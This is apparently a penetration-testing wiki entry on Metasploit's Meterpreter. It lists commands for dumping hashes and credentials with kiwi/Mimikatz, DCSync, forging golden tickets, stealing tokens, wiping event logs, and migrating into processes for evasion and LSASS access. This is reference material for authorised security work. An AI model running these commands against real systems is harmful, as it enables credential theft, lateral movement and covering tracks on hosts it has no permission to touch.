meterpreter

Meterpreter is the Metasploit Framework’s flagship post-exploitation payload — an in-memory, dynamically extensible command-and-control agent that runs inside the compromised process without writing itself to disk. A meterpreter session requires a handler in msfconsole (exploit/multi/handler) to call home to; without the listener, the payload just retries its connect-back until the process dies.

Core commands

Command	Purpose
background	background the current session, return to msfconsole
sessions -i $N	(from msfconsole) foreground session $N
getuid / getpid / guid	current user / process ID / session ID
getprivs	list privileges held by the current token
getsystem	attempt automatic elevation to SYSTEM
sysinfo / ifconfig / netstat / route	host, network, and routing recon
shell	drop into a native OS shell (^Z to return)
execute -f $CMD	spawn a process without a full shell
upload / download / edit	file transfer and in-place editing
search -f $PATTERN	filesystem search
hashdump	dump SAM NT hashes (Windows, SYSTEM required). Output: user:RID:LM:NT:::
migrate $PID	move meterpreter into another process
portfwd add -l $LPORT -p $RPORT -r $RHOST	pivot a local port through the session
clearev	wipe Windows windows-event-logs (loud)
load $EXT	load an extension (kiwi, incognito, powershell, python, …)
run $POST_MODULE	execute a post-exploitation module inline

Sessions are managed from msfconsole with sessions -l (list), sessions -i $N (interact), and sessions -K (kill all). ^Z inside meterpreter backgrounds the session; background does the same thing.

Extensions

Extensions are DLLs reflective-loaded into the host process — the same trick invoke-mimikatz uses for PowerShell.

load kiwi — Mimikatz

The kiwi extension embeds Mimikatz 2.2 inside meterpreter (rapid7/metasploit-payloads wiki)¹. It only loads into a process whose architecture matches the target — running x86 meterpreter on an x64 system prints Loaded x86 Kiwi on an x64 architecture. and most commands fail; migrate into an x64 process first.

meterpreter > load kiwi
meterpreter > creds_all              # sekurlsa::logonpasswords (parsed)
meterpreter > creds_msv              # NT hashes only
meterpreter > creds_kerberos         # kerberos-package creds
meterpreter > creds_wdigest          # plaintext (when WDigest enabled)
meterpreter > lsa_dump_sam           # lsadump::sam (SYSTEM required)
meterpreter > lsa_dump_secrets       # lsadump::secrets
meterpreter > dcsync_ntlm $DOMAIN\\krbtgt   # DCSync, no LSASS on the DC needed
meterpreter > golden_ticket_create -u $USER -d $DOMAIN -s $SID -k $KRBTGT_NT -t $FILE
meterpreter > kerberos_ticket_use $BASE64_KIRBI
meterpreter > kerberos_ticket_purge
meterpreter > kiwi_cmd '"sekurlsa::ekeys"'  # arbitrary mimikatz command

golden_ticket_create will even auto-dcsync_ntlm the krbtgt hash and domain SID when invoked as a domain user without -k/-s — convenient and loud.

load incognito — token theft

meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token $DOMAIN\\$USER

Impersonates the token of any user with an active logon session on the host — a poor-man’s Mimikatz for token-based lateral movement.

load powershell — PowerShell channel

meterpreter > load powershell
meterpreter > powershell_shell

Don’t try to exit the PowerShell session cleanly — exit consistently hangs the channel; background with ^Z instead.

Process migration

Meterpreter lives purely in memory of the host process; migrate $PID spawns (or attaches to) another process, copies the agent across, and tears down the original. The mechanics² are a textbook reflective DLL injection. Reasons to migrate:

• Stability — browser/Office exploits leave the host process half-dead; move into something long-running before it crashes.
• Privilege — migrate into a SYSTEM-owned process to inherit its token (essential before hashdump, lsa_dump_sam, LSASS access).
• Architecture — many kiwi/extension commands require the meterpreter’s bitness to match the target’s; migrate from x86 into an x64 process (spoolsv.exe is a classic choice — auto-restarts if killed and always matches OS architecture).
• Evasion — hide inside a process an analyst is less likely to kill (explorer.exe, svchost.exe, spoolsv.exe).
• Credential access — to scrape LSASS, meterpreter must run in a process with the same privilege level and architecture as lsass.exe; migrating into NT AUTHORITY\SYSTEM x64 is the prerequisite.

Two gotchas:

1. Meterpreter happily migrates downward — moving from SYSTEM into a user process can silently drop your privileges.
2. After migration the working directory becomes that of the new host process — write paths may need to be re-resolved.

run post/windows/manage/migrate automates a migrate-to-random-process; it’s not particularly smart about which process it picks.

Reusing local ports (listener hygiene)

Backgrounding a meterpreter session with background (or ^Z) frees the local handler port — the remote agent simply waits for the next connection. This lets a single LPORT serve many sequential sessions:

msf6 exploit(multi/handler) > sessions -K   # or background each in turn
msf6 exploit(multi/handler) > run -j        # re-bind the same LPORT

Useful when egress filtering only allows one outbound port from the target and you need multiple shells staged through it. The same trick underpins post/multi/manage/shell_to_meterpreter, which upgrades a dumb shell to meterpreter by having it connect back to a new handler (default LPORT 4433) — see msfconsole > payloads.

See Also

• shellcode-analysis

Sources

• The Kiwi Extension — Rapid7 metasploit-payloads Wiki
• Metasploit API: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi
• kiwi.rb — Metasploit Framework Kiwi Command Dispatcher (Source)
• Metasploit Quick Start Guide — Rapid7 Documentation
• 2015 — How does process migration work in Meterpreter? — Security StackExchange

Related: msfconsole, msfvenom, mimikatz, invoke-mimikatz, kerberos, golden-and-silver-ticket-attacks, hashcat.

Footnotes

1. The Kiwi Extension — Rapid7 metasploit-payloads Wiki ↩

2. 2015 — How does process migration work in Meterpreter? — Security StackExchange ↩